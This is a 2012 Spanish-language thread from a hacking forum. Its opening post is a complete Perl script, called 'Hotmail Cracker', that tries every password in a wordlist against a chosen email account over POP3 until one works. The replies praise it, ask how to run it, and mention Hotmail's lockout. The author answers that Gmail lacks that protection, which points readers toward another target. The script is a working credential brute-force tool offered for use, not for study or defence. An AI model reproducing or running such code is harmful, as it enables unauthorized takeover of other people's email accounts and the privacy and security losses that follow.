• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    Starfield: el juego que revolucionará el espacio y la tecnología

    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • Perl »
    • [Perl] Hotmail Cracker 0.1
    • Imprimir
    Páginas: [1]   Ir Abajo

    Autor Tema: [Perl] Hotmail Cracker 0.1  (Leído 3078 veces)

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    [Perl] Hotmail Cracker 0.1
    « en: Febrero 01, 2012, 05:44:17 pm »
    Un simple script para crackear una cuenta Hotmail.

    Código: [Seleccionar]
    #Hotmail Cracker 0.1
    #Coded By Doddy H
    #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
    #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
    #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

    use Mail::POP3Client;
    use IO::Socket::SSL;

    head();

    if($ARGV[0] and $ARGV[1]) {
    crackhot($ARGV[0],$ARGV[1]);
    } else {
    print "\n[+] Sintax : $0 <email> <wordlist>\n";
    }

    copyright();

    sub crackhot {

    my($user,$wordlist) = @_ ;

    unless(-f $wordlist) {
    print "\n[-] Wordlist not found\n";
    copyright();
    }

    print "\n[+] Loading wordlist\n";

    open(FILE,$wordlist);
    my @passwords = <FILE>;
    close FILE;

    print "\n[+] Words Found : ".int(@passwords)."\n";
    print "\n[+] Cracking...\n\n";

    for my $pass(@passwords) {
    chomp $pass;

    my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");

    my $nave = Mail::POP3Client->new();

    $nave->User($user);
    $nave->Pass($pass);
    $nave->Socket($so);

    if ($nave->Connect()) {
    print "\a\a\n[+] Email : $user\n";
    print "[+] Password : $pass\n";
    $so->close();
    $nave->close();
    copyright();
    }
    $so->close();
    $nave->close();
    }

    print "\n[+] Password not found\n";

    }

    sub head {
    print "\n\n-- == Hotmail Cracker == --\n\n";
    }

    sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    exit(1);
    }

    # The End ?
    En línea

    Desconectado IX_NEVER_DIE

    • { L4 } Geek
    • ****
    • Mensajes: 316
      • Ver Perfil
    Re:[Perl] Hotmail Cracker 0.1
    « Respuesta #1 en: Febrero 01, 2012, 06:47:10 pm »
     Muy bueno gracias, de paso recomiendame algun tutorial de programacion por que no se que hacer con ese codigo, la programacion no es mi fuerte y te lo agradesco de ante mano.
    En línea

    Desconectado m3nt3 fria

    • { L0 } Ñuub
    • Mensajes: 41
      • Ver Perfil
    Re:[Perl] Hotmail Cracker 0.1
    « Respuesta #2 en: Febrero 01, 2012, 07:18:10 pm »

    Citar
    cuando termine unas cosas en PHP voy a hacer un programa con la misma finalidad en perl
    dicho y hecho :)
    +1 muy buen code bro
    En línea
    import appuifw
    import audio

    def fcons():
        song= appuifw.query(u'simon dice:', 'text')
        audio.say(song)

    fcons()

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Perl] Hotmail Cracker 0.1
    « Respuesta #3 en: Febrero 01, 2012, 07:20:10 pm »
    Cita de: IX_NEVER_DIE en Febrero 01, 2012, 06:47:10 pm
    Muy bueno gracias, de paso recomiendame algun tutorial de programacion por que no se que hacer con ese codigo, la programacion no es mi fuerte y te lo agradesco de ante mano.

    yo habia hecho una guia llamada perl forever , podes buscarla en esta misma seccion.
    En línea

    Desconectado The X-C3LL

    • { L1 } Newbie
    • *
    • Mensajes: 66
    • Sólo la muerte te salva de la vida
      • Ver Perfil
      • 0V3RL04D 1N TH3 N3T
    Re:[Perl] Hotmail Cracker 0.1
    « Respuesta #4 en: Febrero 07, 2012, 12:00:47 am »
    Creo recordar que hotmail tenía un sistema de bloqueo del acceso después de X intentos.
    En línea

    Sígueme en Twitter (@TheXC3LL)



    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Perl] Hotmail Cracker 0.1
    « Respuesta #5 en: Febrero 07, 2012, 12:06:38 am »
    Cita de: The X-C3LL en Febrero 07, 2012, 12:00:47 am
    Creo recordar que hotmail tenía un sistema de bloqueo del acceso después de X intentos.

    y si , pero por suerte gmail no tiene ese problema.
    En línea

    • Imprimir
    Páginas: [1]   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • Perl »
    • [Perl] Hotmail Cracker 0.1
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more